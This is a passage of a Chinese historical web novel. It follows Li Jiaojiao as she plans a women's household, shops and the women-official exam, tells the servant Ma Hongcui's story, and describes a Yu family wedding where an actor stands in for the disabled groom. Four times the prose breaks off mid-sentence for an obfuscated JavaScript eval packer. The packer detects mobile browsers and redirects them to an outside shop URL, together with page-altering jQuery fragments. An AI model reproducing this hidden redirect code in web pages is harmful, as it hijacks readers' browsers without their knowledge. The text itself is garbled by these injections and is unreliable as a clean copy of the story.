同她姨娘一点也不一样，梨姨娘最爱染指甲，闲暇时，十根指头总是包着花汁。 嫁给苟老爷后，梨姨娘最多的就是时间，她太闲了，就想着法换着样折腾指甲，那双手也是纤细修长，柔嫩滑腻似上好的羊脂玉。 马红翠一直羡慕主子的手，从扬州到京都，红颜易逝，最后那双手形如枯槁，她用尽全身力气，也只能用那双手轻飘飘地抓住马红翠的衣领。 “小翠，照顾好小姐，你要照顾好她，照顾好姣姣。” 直到咽气，最后一个未吐净的字都是女儿的名字，姣，姣姣，她的女儿，是官府小姐，是体面的姑娘，多好。 梨姨娘死后是轻飘飘的一坛，本连入苟家墓的资格都没有，还是主家太太心善，她抱着小小的姣姣，低声说了句可惜，便让人将梨姨娘埋进苟家祖坟中去。 “你呢？” 苟太太问马红翠。 “姨娘走了，小姐也有太太亲养，我想求太太，求放我归家吧。” 马红翠不是天生的奴婢，她是被卖到妓院去的，长得粗笨，当不了角，只能做丫头。 在妓院里做丫头，受欺负是家常便饭，跟了梨姨娘，更是过得难堪。 “你这些年，受苦了。” 苟太太一句话，马红翠有了自由，头一次，她属于她自己。 “这些年全赖你，也是辛苦了。” 话语响起，马红翠回过神来，才发现是黎姑娘在说话，她柔柔一笑：“念在这份上，我也不该跟你发气。” “全是我不好，姑娘性子高洁，自不用那些腌臢手段，怪我惹姑娘生气，都怪我。” 害怕没使黎姑娘解气，马红翠抬手给自己一巴掌，声响倒是不大。 “好了，小丫头还在呢，没瞧的以为我欺负你呢。” 闻言，马红翠脖颈一缩，脑袋偏过去看见两个小丫头蹲在凳脚迷糊瞌睡。 “春苗，帮着马大婆把两个小丫头抱去睡觉吧，可怜的。” 得了姑娘的使唤，春苗轻手轻脚揣起乐丫头，眼神示意马红翠抱另一个，走前还没忘跟黎姑娘说话，“只怕姑娘会头疼，还是等我给您揉揉再歇息吧。” 黎姣姣颌首不语。 她脑子里在纠结，要不要选于盛奕做丈夫呢，婚事，是她的杀手锏，要用得这么快吗？ 选他，死得快，家中单纯。 倒也是不亏。 只可惜，虽是世家，鄂州于氏这支也是偏了些，徒有虚名，里子银钱短缺，又没个世袭的官爵，只怕是坐吃山空，不好。 至于未过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17349352|199584||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 门的新妇，黎姣姣压根不在意，女人抢男人，这不是天经地义的佳话吗。 她的野心和欲望直白简单得可笑，她只想让自己过得好，为了达成这一目的，世俗公道？黎姣姣向来不顾这些。 而于盛奕？男人的想法，她更不会在意了。 还是缺钱啊，黎姣姣头又疼了。 听绿园就这样莫名多了个老妇，府中忙着筹备长公子婚仪，如水滴如河流，过上几日，马大婆已经完全融入于府，隐约混出些脸面来。 “听说姐姐这有个媳妇很会管钱？姐姐心好，也借给我用用，库房师爷全去算表哥的账去了，我的收成竟找不到人来算！” 不知从来听到消息的许玟素赶来要人，她风风火火的，正下着大雪就闯进暖阁，随手又没将棉帘关严实，风雪嗖嗖从小缝往里钻。 隐秘地翻上一个白眼，春苗箭步冲上去把门帘关牢，“因这府上的事，忙得姑娘好几日都没休息好，原是许千金迎娶嫂子呢，怎么累的是我们姑娘。” “春苗姐姐的嘴没有一日同我说过好话。” 许玟素跟在春苗屁股后，装模作样也学着拍打门帘，她屁股后头跟着蕊儿，替她取披肩又给她送手炉，三个女孩跟串葫芦一样朝黎姣姣走过来。 “我也奇怪呢，原是我表哥娶媳妇，家里上下都激动，唯独他，我算算，从月初就没见他出过院门了吧。” 蕊儿正拿帕子擦主子微湿的发稍，接过话：“是呢，一直没出过门，长公子那样的人物自然是不愿随便娶个人的，可怜他身体弱，净是半点不自由，唉，可叹可叹。” “蕊儿说话怎么怪模怪样的，从哪学舌的。”黎姣姣被逗笑，问道。 “我天天骂这死丫头呢，姐姐你不知道，她现在跟园子班那群女孩玩得好，偷学了人家新排的剧，说话也不好好说，作怪得要死。” 铛的一声，杯盖磕上杯沿，春苗端茶的手抖了一下，她又皱起鼻子：“好姑娘，马上过年了，别把不吉利的字挂嘴上呢！” “我又不忌讳这个。” “我家小姐却怕受冲撞呢。” 许玟素一口茶险些喷出来，好容易咽下，她用脚轻轻踢蕊儿，说：“你学学人家。” “真是一对活宝，你们主仆合该般配，都是不成调的，来我这半日了，一句正经话都没说上。” 黎姣姣有些头晕，这些日子没少帮着于府操持，不过是小年主持的好了些，竟然被于大太太求上门，请她帮忙筹备婚事，可怜见！这也不是她的婚事啊！ 纳采、问名、纳吉、纳征、请期，无一样没过黎姣姣的手，她都恍惚了，是何时有了个岁数比自己还大的儿？ “黎姑娘是苟太太教出来的，请她帮忙最是靠谱。” 于大太太拿这句话哄过了老太君、大房、二房。 太太们见她小年将府上管得好，做得体面连宗族也挑不出错。 府上奴仆也服她，好容易有个清醒的主子，吩咐的事易懂又好做。 一月之余，黎姣姣和许玟素两人，一个操持内务，一个处理里外账单，于府一掏吉礼，账上居然有盈余了！ 这桩事，在奴仆心中是比长公子大婚还要大的喜事。 “对了，得说正事呢，净琢磨表哥婚事了，庄子上都把收成送上来了，有府上的，也有我私产，数目大，得请人一块盘点。 还有一事——” 许玟素眯起眼，笑意从嘴角冒出，“新皇推恩，鄂州城外百亩荒地允许置买，这则消息，你我是鄂州城内第一个知晓的。” 8. 立女户 “姐姐要不要？” 曾几何时，有个小丫头，丱发一髻松散混不自觉，门牙缺了颗，声音甜甜的，像一块饴糖，黏糊着听不清。 她蹲在院子墙根狗洞里问：“姐姐，要不要一起来玩。” “自然好。”黎姣姣回答。 “可你我只是闺阁女子，真要置田，我连个身份都没有。” 在乾朝，田地的买卖是被禁止的，除情况特殊，经官府裁定，方可购买、出售，而买家也不是什么人都可以，必须是良籍及以上。 “这事我既然告诉姐姐了，决不可能让你光听个信儿，州府大人的续弦娘子，和我关系好，我请她为你建一户便是。” “立女户？”黎姣姣震声，这是她从未想过的。 女户，算是最特殊的良籍，一般女子在家从父、出嫁从夫，再不济丈夫死了还有儿子、族亲，依附便是女子一生的宿命。 “正是了，说起来也与姐姐有缘分，恩慈寺的流民全是妇孺，她们留在鄂州换籍，都是立的女户，因此这事儿现也不稀奇。 稀奇事也有，咱们新皇开春要加一场恩科。” “这也不稀奇，要是你家表哥愿去再考一回才叫稀奇呢。” “好姐姐又作弄我！”许玟素作势要往黎姣姣怀里钻，脑袋倒在她腿上，躺着正对上黎姣姣垂下来的眼。 “那我要是说，开春还要考女官了，这事够不够稀奇？” 难得见黎姣姣瞪大眼的模样，许玟素躺着笑岔了气，蕊儿过来扶她侧坐起，也好奇：“原以为黎姑娘是个观音性子，淡泊得很，没想到也能见您吃惊一回。” 顾不上管好表情，黎姣姣忙着追问：“女官？莫不是周朝那样的女官？怎么考的？” “哎哟！好姐姐！那里敢说前朝事呢，这会选的女官只掌理后宫琐事，应该就是考些读写吧，也是开春同恩科一块，由太后娘娘亲选。” “选哪样的女孩？”黎姣姣还在追着细问。 “家世好、学识好、样貌也得好吧。” 许玟素数着指头连说了几个好，又停下来，头左偏右倒，盯着瞧对面人，说：“姐姐这样，该去做女官呢！” 黎姣姣胸口一窒，她稳住坐姿，收手藏在袖中捏紧。 她没读过什么书，也不识得多少字，苟太太哪有教过什么手段，黎姣姣无非有些小聪明，仿着大人的样子强撑场面。 但她心知，好东西得是争抢来得，她的命不好，只能自己费劲些。 心里有了定论，做女官去！瞧她父兄，削尖脑袋不就是为了考一场试、中举做官吗！ 念此，黎姣姣捂面羞涩：“我哪里有这个本事，只求存下一份体己，寻个珍重爱护我的郎君，同太太一般，相夫教子、安稳过日才是我想要的呢。” “姐姐少读些戏本吧，男人多凉薄负心，我母亲那样才是常态，苟太太那样……” 许玟素突然硬生生收起话头，另提：“咱们还是说回置田吧。” 立户买田之事交给许玟素，黎姣姣嘴上说着无关紧要，待人走后转头将马红翠叫过来。 “你在鄂州也摸了一阵，可了解东郊那边？” 马红翠回：“东郊？听说荒得很，是片沙地，没法子耕种，也没人居住，倒是后边逃命来鄂州的流民，被许在那块修房建家。” “如此说来，许玟素没诓我呢。” 手指捻起落在桌面的点心碎屑，碾得细细的，再拍拍手，接过春苗递来的湿帕子慢慢擦拭。 突然发问：“依你看，咱们有必要多买些吗？” “奴以为，愿意拿出来卖的荒地，想必都是下贱人才去买，姑娘又何须添购，照我说，从许小姐那边立好户才是要紧事。” 见黎姣姣指节叩叩敲桌面，看似把话听进去了，马红翠又开口：“花婆子家的儿子寻回来了，已经验过，算是可靠，奴在外看好的两处店面可以交由他去办。” “花婆子？那个脸上长痦子的？” 马红翠惊喜：“是她，姑娘还记着呢。” 自从马红翠离开恩慈寺，她想方设法搭上于氏，不料府上的奴仆全是狗眼看人低的东西，谁也不肯替她传个话求见表小姐。 见这般踩高捧低，马红翠便不敢上门求见，心里料定许家小姐及于氏家风如此，便换了条路子。 有日正午，于府东南侧角门大打开，忙忙碌碌进出驴车，她定眼一看，全是名贵的花骨朵盆栽。 一头小驴步子踉跄，挂在它颈脖处的绳索松开，整车的瓷盆跌落，花、土、瓷碎的碎、散的散，这时，一个簪花的老妇从门中出来，嘴里喊道作孽作孽。 牵驴的小厮，脸白嫩，身上是件旧的青衣棉袄，他见妇人出来，竟是一脚踹过去，粗着嗓子厉声：“你这老衰货，沾到你就倒霉，小爷送了这么久的货，就到你来接，竟落了一地！” 老妇挨了一脚，倒在地上脸都扭曲了，捂住肚子还在赔不是。 马红翠原不是个热心肠的人，见这情况，也没忍住，上去扶起老妇，朝男人啐了一口：“去你爷爷的，还当是什么少爷，原是个送花郎也敢当街欺辱人。” “管你甚事，滚一边去！” 男人没敢对马红翠动手动脚，只因马红翠长得壮，脸上满是不要命的横色，眼里流出的狠戾让他只敢嚷嚷，后退步小跑离远了。 “婶子没事吧，看你模样也是这在府上做工的，怎么还受外人的气。” 妇人摇摇头没言语，马红翠也没再问，帮着收拾整理散落的花。 “花婆子！这是怎么回事！” 背后响起怒吼，从内院过来一个三角眼稀疏胡的瘦高男人，他一来不分青红皂白先将花婆子骂上一顿，余光撇见马红翠，又发怒：“哪里来的破落户，拾荒都拾到我们于府来了！这可是你敢踏进来的地？” “这是我侄女，大管家原谅些。” “什么猫狗东西，你侄女也算个人物？麻利收拾好，花都得完好送到前厅去，耽误了开宴，仔细你的皮。” 连个眼神都没再分给马红翠，大管家身后两个戴帽小厮上前，合力架住马红翠，直接给她扔出门去。 好横的狗男人，马红翠爬起来揉着胳膊咒骂。 寻了一处吃碗面，呼噜噜下肚，抬眼见花婆子坐到对面来了，她脸上还有些青肿未消，从胸口掏出一枚袖珍小玉罐，递给马红翠，说：“这药好，你用些。” 接过，一言一语来往中，马红翠弄明白——于府正准备筹办一场赏花宴，目的为了替表小姐相看夫婿。 “我命不好，从前种出一棵花来，害得小姐错嫁。” 马红翠这才知道许小姐母亲的一桩往事，她宽慰：“不管你的事，婶子，主子的命都是由天定的，咱们做奴婢的，哪里管得了主子，因这个你就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17349353|199584||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 愿意忍受欺负，没道理啊。” 就像她的主子，所嫁非人，早早死了，可她还活得挺好。 做主子的命和做奴婢的命不同，但没有谁能决定谁的命。 别了花婆子，马红翠心里装有两件事—— 一则，想法子在相看宴上将黎姑娘的处境传到许家小姐跟前。 二则，把花婆子的儿子接到鄂州城来。 花婆子年岁其实不大，年年月月日日受折磨，看起来苍老了些，未嫁，也无亲族，于是到救济园里去捐养了一个孩子。 在乾朝，若是男人无后，除了从旁支抱养，也可到城中济慈署捐一个，济慈署养着不少流离失所的孤儿，满足一定条件可以领养回去，改名换姓，也算有后。 马红翠没想到，花婆子竟也有法子捐一个，还是个男孩，那可是抢手货。 买通了邓家的仆妇，将话递到，赌许家小姐对她母亲的情，若情真，自然也会照顾黎姑娘，她母亲临终前最记挂的两个孩子便是她和黎姣姣。 许家小姐倒是个真性情，不仅接人入府，还查出这个背主的，派人找出马红翠，将其毒打了一顿，扔到城外去等死。 总不算辜负黎姑娘，马红翠迷糊中这样想，雪落到她身上，倒叫伤处不痛了，姑娘会对喜丫头和乐丫头好的，她答应过自己—— 自己也答应过，还有——还有一个孩子，她得去寻来——还有一个可怜人，等着孩子呢。 马红翠命硬，还是见到第二日的晨光，化雪起霜，血污冻住了。 又过了很多事，新皇登基，于府有喜，是长公子要结亲了，新妇是鄂州另一户大家——白家的三房嫡女。 那黎姑娘呢？马红翠心慌了，她原指望黎姑娘能钓上个金龟婿，在于家稳稳住下去，现下是不能了，以她单薄性子过不下去的，自己的两个丫头又如何。 想法子见到了黎姑娘，果然她正被赶鸭子上架，马红翠只好一边想法子找人，一边替黎姑娘操持起家务。 于府，三个做主子的女人都是耳目不明的，被刁奴哄骗得安心，也难怪府上每况愈下，小年一场除尘，许玟素不仅要打扫干净房屋，更要扫清沉疴旧人。 黎姣姣跟着马红翠的主意行事，借着许玟素的势头狠狠处置了一批刁奴。 夜里回来还问马红翠：“于二可是府上的老人，也难为你，寻了这么多错处将他发卖，你们是什么罪孽，这么恨他？。” “奴哪有私心，全是替姑娘着想，他仗着爹娘都是于府老人，当自己还是半个主子，对您不敬，拿咱们听绿园也是刁难，您为打扫一事省钱费心，他却挑拨，没了他，咱们差遣人顺利，采买也方便。” 门帘被掀开，马红翠噤声，见是春苗捧上一筐银碳进来，又才开口：“您瞧，咱们也能用上这么好的碳。” 黎姣姣侧躺在贵妃榻上，玩着自己的手指，漫不经心道：“你少拿我做筏子，倒叫我成了个坏角。” 马红翠赔笑：“姑娘最良善不过。” “这里中赚的钱，你不许存着，留意外头的铺面，有合适的全花了才好，等我在府上立稳脚，再想法子把你接回来，在外头自个顾好自个。” 夜色里北风更劲，马红翠悄悄地又翻墙离开于府。 一直到腊月二十四，马红翠才被黎姑娘叫回来，光明正大入了于府，可巧，是坐着小驴车从东南侧的角门进的。 9. 正月初三 黎姑娘生得一张慈悲面容，眉温顺地沿着弓骨弯弯，下方一对双睫又浓又密，轻轻颤动着。 这双睫的主人在考虑——马红翠是否还可信？她仅捏住两个小丫头，倒不知何时，一个老婆子也能让马红翠挂心。 马红翠不是忠仆。 趁着小姐幼年时便逃过一回，说是得苟太□□典放她归家，可马红翠是梨姨娘的奴婢，梨姨娘死后就是黎姣姣的奴婢，未得黎姣姣准许，她是私逃。 生出过二心的奴婢，黎姣姣不敢信。 佯装好奇，黎姣姣问：“花婆子？她在府上可没得过好话，也不知你瞧上她哪些好，竟愿意将外头的事给她家办。” “是个单薄人才好踏实为姑娘做事。” 马红翠笑，说：“更何况她那个儿子，是个大秘密人物咧！” 耳边吹过一阵热气，黎姣姣瞪圆了眼。 这一天，她受到太多次震惊，考女官、立女户，以及—— “既是这样，店面的事交由你来安排吧。”黎姣姣招手唤来春苗，“府上大婚当即，我空不出时间，银钱一概找春苗开支。” 春苗接过主子的令，弯身继续听黎姑娘的话，“记住，咱们要在鄂州立足，铺面生意是第一步，须得豪爽，别省些碎头反把事没办好。” “奴知晓。” 两人应声行过礼，转身往外院去了。 “春苗姑娘，这回大姑娘瞧上的两处位置，价格可不低，咱们……” 待出了院子，马红翠才找春苗打听，黎姑娘遣她看铺面，可没少要求这那，寻到后，银钱二字却是没在主人面前提起。 “幸好你没拿这个蠢问题到姑娘面前去。” “姑娘在于家挣了不少，这我知晓。”马红翠伸手竖起一根食指，“可是千两未免太多了，咱们也拿得出？” “这你不知道了，原有的银票我一直贴身放着，这会能支取使用。” 春苗继续说：“不过也没几个钱，靠管家采买得利挣得多，另外许小姐、几位太太、老太太年节上也赏了不少。” “富豪世家，看着都要倒台下去，手指里漏出些也是够寻常人家几辈子吃喝。” 踏出于氏屋宅，一条宽敞青石板路，沿路走出，便是坊市，两侧挑肩搭担的走夫在叫卖，砖石屋子里卖有各式吃穿用度。 唯有一方碧瓦朱檐、雕梁绣户，隐于市野，沉默地屹立。 暖阁里没了人很安静，榻上一个穷光蛋软趴趴地东倒西歪，黎姣姣对千两购置费也是心痛。 可是女子活于世，能依靠的少、能抓住的更少。 读书、考学，或是学艺、从商，女子都颇受局限，妇人营市，须以丝竹掩铜臭，借花笺藏账册。 除了立户，银钱更是重要，开设在鄂州的两处铺子，现成了她的唯二依靠。 她计划着一处成衣铺子，一楼卖布匹，二楼请绣娘，三楼挂满应时衣裙，再摆上四合玻璃柜，里面满是珠钗配饰。 再有一处食阁，只做各类点心，楼内都是被隔开的小间，精致可爱。 若是能成功立到女户，再有两家铺子赚钱，辞了于氏，当个女官，她与许家小姐的旧恩情还能存续。 若是失败…… 舔着脸继续住在于府？待新妇嫁入，她一个未婚外姓小姐怕是难自处，再者，久住生龃龉，失了许家小姐这份情—— 她的未来，只剩嫁人一条路。 黎姣姣捏紧拳头，她又想起嫡兄，她又恶毒地咒骂起死去的嫡兄，她不愿意嫁人，并非向往真情又或是珍惜婚事。 黎姣姣的婚事从小就被苟老爷提在口中，像是犬兽的玩具，时刻舔舐撕咬，父亲意欲她能嫁给王爵世家，再不济也得是望臣名士。 若嫁人是一桩好事，为何兄长们没从幼年起就做准备？ 她抗拒嫁人，抗拒接受父亲的指派，黎姣姣的直觉告诉她，若是接受了，她便一辈子输兄长一头。 婚事，貌美娘子的最后武器，黎姣姣固执地不肯轻易用出。 固执，居然也算得上黎姣姣的一处优点。 她这人毛病很多，比如手里一直留不住钱。 这一任性的毛病，苟老爷只是笑笑，还夸她舍得花钱是个好习惯。 苟太太却问她：“福贵坊的珠花你已经有了许多，为何次次都要买同一样的？” “我就喜欢这个呢。”金钗之年的黎姣姣这样回答。 苟太太叹气，抱起她，语气柔柔：“好孩子，喜爱之物珍重一个就好。” 苟太太难得同她讲道理，但黎姣姣没听进心去。 其实，她并不爱珠花。 京都闺阁小姐，闲着无事就爱你请我、我请你，宴席上不吃不喝，只比较珠钗粉黛，看谁的衣裙颜色新、样式好，黎姣姣常常被请去做客，因她样貌好，穿着打扮有自己的想法，又新鲜又漂亮。 黎姣姣出手也大方，自己独出心裁的方子都会毫无保留交给各家小姐。 “夏日里儒裙单薄，厚重的金饰并不般配，玉虽清凉，但成色不好容易显得粗鄙，家中就是钱财万贯，也做不到日日换好玉，不如带一对掐银珐琅珠花。 万小姐，你试试我这幅，我新买的，南红石颜色好，很衬你这条藕粉色呢。” 万小姐对着水面满意地照来照去，欢喜道：“姣姣你这个好呢，是从哪里买的，我也想要呢。” “福贵坊新做的，各位姐姐妹妹要是去买，提一嘴我苟府的名，掌柜会拿新货给你们。” “好啊！” “是福贵坊的东西？她家何时有这新意？” “姣姣，你怎么不爱用钟红阁的首饰？” “也许久没见你用琅琅楼的物件了。” “也不怪姣姣不爱买，这几家好几月出的新品瞧着都俗气，全不似之前那般好了，倒是这福贵坊的珠花还有些趣。” 小姐们一窝蜂去福贵坊，将福贵坊带热，月余，京都女子头上人人一对珠花。 黎姣姣又不爱珠花了。 待年后收到福贵坊的一箱赠礼，苟太太见面上铺了一层珠花，好笑道：“这店家，竟不知这花样已经过时了吗？连你曾经如此痴爱，也许久没带过了。” 黎姣姣没做声 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17349354|199584||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，随意打发春苗抬去库房。 主子吩咐得不经心，但春苗不敢假手于人，直到落锁，再无旁人沾手过这箱子。 子时，库房被人打开，叮叮当当一阵响，安静一阵，又有悉悉簌簌声渐远，留下库房里的新抬，面上一层珠花，底下一堆干草。 一抬红箱恰好能装银百两，还留有三寸够铺一面珠花。 这一百两，春苗背得费劲。 十年过后，来到于府，春苗背上几抬也是易如反掌。 先于许玟素回信的是于盛奕的婚期。 正月初三，原是各家媳妇回娘家，白氏却要送姑娘出阁。 于府这个年过得难熬，为了今日的大婚，阖府上下是费足了气力。 终于等到暮色将合未合，内院婚房里，一排两列鎏金铜香炉依次燃起苏合香，青烟袅袅漫过五色绣帐，吉人穿过珠帘点醒屋内外的侍女——“都再仔细检查一遍。” 婚房外，青衣仆从快步行至前院，一朱衣小厮步履匆匆从大门进来，两人脑袋凑到一块低声嘀咕，青衣仆从又小跑进正厅，撩开下摆一跪：“禀老太太、大太太、二太太，新娘已经过了南门口。” “好好好！速去将灯点起，准备迎他们进府。”于老太君激动道。 应声，十六名红衣僮仆分执缠枝牡丹纹绛纱灯，将于氏府邸前的九级青石阶照得煌煌如昼。 黎姣姣立在垂花门内，同许玟素一块伸长脖子望向远处乌头门。 马鸣先行于蹄声，青骢马踏碎满地落花而来，鞍辔上错金祥云纹若隐若现，正是乾朝于氏独有的徽记。 "吉时已至——" 礼官拖长了唱喙，余音缭缭飘向后院，百子帐前九枝灯树骤然点亮，映出铜镜内礼衣上的翟鸟纹样，金线在烛火下跃动如星河。 压过礼官的声音，忽听得檐角铜铃骤响，正门廊下十位青衫书生齐声吟诵：“城上金乌飞画角，琼枝玉树不相饶。” 惊起檐下铜马风铃叮咚，看来人—— 为首的人着深绯色团窠联珠对雁纹绫袍，腰悬玉带銙饰，头戴珠冠，青骢马踩着铺有三重蜀锦的甬道缓步而来。 正是新婚得意夜，人属最风流。 八名傧相跟在马后，均穿着青碧色圆领襕袍，手捧鎏金双雁、合欢铃、青玉双鱼佩等六礼之器。 身后是撒花的高髻仕女，拥着一架镶满东珠的红轿。 连绵的嫁妆恐有百抬，抛下夜风里卷起的百丈绣障稳稳前行，露出层层叠叠看热闹的百姓面容来。 行歌，新娘下轿，手捧孔雀罗扇遮面。 步至正厅，新人上拜长辈，起身相对，新郎拱手行礼，开口欲言诗。 外间忽传来一阵骚动。 又一身着深绯色团窠联珠对雁纹绫的男子，跛脚杵檀木杖，只简单做玉冠，他立在门外，不知是不能还是不肯踏入正厅。 “婚不是我迎的，礼不是我成的，这桩姻亲，究竟是我的，还是于家的。” 于盛奕站得笔直，声如冷玉：“母亲找戏子扮我的这出，越发演得好了，不如舍了我，叫她来做于家郎吧。” 10. 大婚之夜 自白氏女过中门至于府三坊九街，一路一日中都热闹非凡，均覆有青缯步障，每十步，悬一对金箔竹丝灯笼。 新妇入门，宾客其后，众人齐聚于府主院，门阶前设三重青庐，外层紫檀木嵌螺钿百子嬉春图屏风，中层茜色吴绡帷帐缀瑟瑟珠帘，内层铺波斯金线毯，上置青玉合欢席。 于盛奕正好站在门后屏风前，一屋的热闹喜庆唯独饶过他漫向廊庑间，檐下挂有银错金熏球，焚香烟气自球面镂空的伽纹中自顾自溢出，也未沾染上于盛奕半点。 他茕茕孑立，清冷一身，此处，他的婚宴，他反倒像是不速之客。 新婚夫妇，一个在内一个在外，隔着屋内屏风、手中珠扇，遥遥相对。 扮相的戏子早就吓得缩到角落去，鼓乐中断，宾客细语也被掐灭，一时之间，屋宅红装未有半点声响。 城中相隔遥遥处，不知谁家毫无眼色点燃一支爆竹，传到于府只留下嗡嗡余声，紧接着，是此起彼伏的爆竹声。 许玟素拉上黎姣姣躲一旁咬耳朵：“姨妈寻的人也就身型同表哥相似一分，至于容貌气质，全然没有表哥的半点神采。” “不过是一个戏子。”黎姣姣回道。 她没多的心思跟许玟素嬉笑，也没敢想于大太太竟然还能找人演儿子，莫不是平日里看戏看多了，又或是觉得小年时戏子演得效果好。 不着调的还有许玟素，她继续道：“不过，我瞧着新娘子倒更相似表哥呢。” 这种胡闹话，听过后黎姣姣只得无奈叹气，呼吸间嗅到一股刺鼻的酸味。 原是燃香的错金银龟钮雁足铜灯，粗粗吐净一团又一团烟，灭了。 “毋得君，你太过放肆！” 于老太君打破主屋内一片沉寂，暗涌之中的言语齐齐涌上：“长公子，夫人所做都是为您好啊！” “便是他了，听说常年害病导致性子左，可惜白家女竟嫁了这种人。” “哈哈，听闻白氏女也是个左性子，我瞧两人正合适般配呢。” 于大太太着青衣革带韈履，脸上的喜气散掉，妆容依旧牢固，双颊是饱满的红光，这会看上去像是气得满脸通红，她一步一步走向儿子，忽地抬手重重扇了个响。 “啪。” “太太！” “景安！” 惊呼声压不过于大太太的怒声。 “竟知道是你的婚事？” 于盛奕被突如其来的巴掌扇得踉跄，木杖三两晃动没能撑起他，人颤巍巍倒下，软趴趴地愣坐在地上。 “你自轻自贱这些年，今个倒知道讨说法、也懂得要脸面，毋得啊毋得，家中何曾亏待过你，何曾又厚望于你，无非希望你如常人一般……” “常人？”于盛奕捂着脸抢白，“母亲也知道我做不得常人吧，不然为何嫌弃我残疾，祭祖扫尘都让别人来替我，今天结亲亦是。” 声音发闷，于盛奕瘫坐在地上，还在努力挺直身板，白玉般的脸庞变得红肿。 要说于家长公子神童之名素广，少年成名时满身名士态，满是从骨子里的自傲，在场的宾客多是记得那副骄子状。 如今这个玉儿郎，面白体格弱，强撑出的体面，倒在地上红着脸和眼，看得人心一软。 各家参宴的夫人们开始劝和，不过说些郎君可怜的话。 “太太，这桩事是您错了。” 出乎众人意料，新娘子放下高举的珠扇，露出一张贴红嵌珠的美人面，花钗覆笄大袖连裳，白氏女每一步都走得艰难，她慢吞吞挪到于盛奕身边，捞起他稳稳靠在自己身上。 “今日之事，若为旁观者，我大可不发一言，可这人是我的丈夫，容我说句大逆不道的话，于公子有疾心里定然不好受，太太们更应该注意他的情绪和想法，找人来顶替？更是轻视的举动啊！” 白氏女个头不小，身量颇为修长，架住于盛奕的姿势不算雅观，好在稳当，比起怀里人愤愤还委屈的语调，白氏女说话倒是直白又无情。 “这是家事，新妇慎言。” 于老太君一拍桌子，白氏女没被唬住，对堂上道： “家事、家事？我只知道世上不公有法可依，一旦关起门，家里这些事，长辈对待晚辈，如何如何靠个孝字压着，再大的委屈和怨怼都是不能说、不能计较，这种道理千百年不变，今天我偏不想让步！” 黎姣姣偷偷朝许玟素递眼色，没得回应，这人没心没肺看热闹呢。 受了黎姣姣一杵，她才偏过头来，“就说她性子古怪呢，不过今天这事，我也替表哥喊冤呢，就算表哥十分抗拒这桩婚，也不该给他关着找人来替。” 听着许玟素也快激动起来，黎姣姣忙稳住她，眼下的场面已经是下不来台，堂上的老太君都快气晕过去，于大太太脸都发白衬得红妆似笑话。 何况屋内还有太原主支的于家大房主母，原是替旁支撑场面，如今闹这一出，于家在鄂州丢了面，传回主家只会更跌份儿。 黎姣姣有心拦一拦这场面，她对许玟素说：“你我先将宾客带走，家事关起门来掰扯，总归不好叫外人看热闹失了体面。” 许玟素点头，派了蕊儿去求老太君的允，两人并行迈出，露面至堂前打圆场。 “好了，现在表哥也是有嫂子疼的，我瞧两夫妇甚是恩爱呢，请各位嫂子太太们留个空给他们，咱们去吃酒吧。” “各位太太观礼也累了，不如到花厅歇息吃宴，是特意请的太原厨子，不是鄂州味道。” 这时，一言未发的主支太太说话了，“虽是闹了一场，正如表姑娘所言，反倒叫这对冤家看对了眼，当是我们长辈们不识情趣。” 她身后半步站着一位高髻女子，剑眉，圆脸，嫩生生的，瞧着年纪不大，但是一股老成的慈祥样子。 圆脸女郎穿一件立领圆袍，腰间挂满玉牌、珠串，还有一柄镶满红宝石的小刀，她笑意盈盈：“合该是天生缘分呢，我瞧着新妇与郎君长得也是相像， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17349355|199584||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 正是难得般配的夫妻相啊。” 三言两语间，将替亲一事圆成新妇二人的甜蜜故事。 白氏女见话锋转得太快，于盛奕捂着脸又不语，她讷讷不知该何继续，厚重的钗冠压得她身型不稳。 婢女小厮得了主子示意，麻溜上前一人服侍一个，利落将新婚夫妻送入洞房。 小厮搀扶住长公子，心里纳闷，没想着人还是有些份量，他想，这新妇力气可真大啊。 虽有曲折，但入了洞房，这桩婚就圆满了。 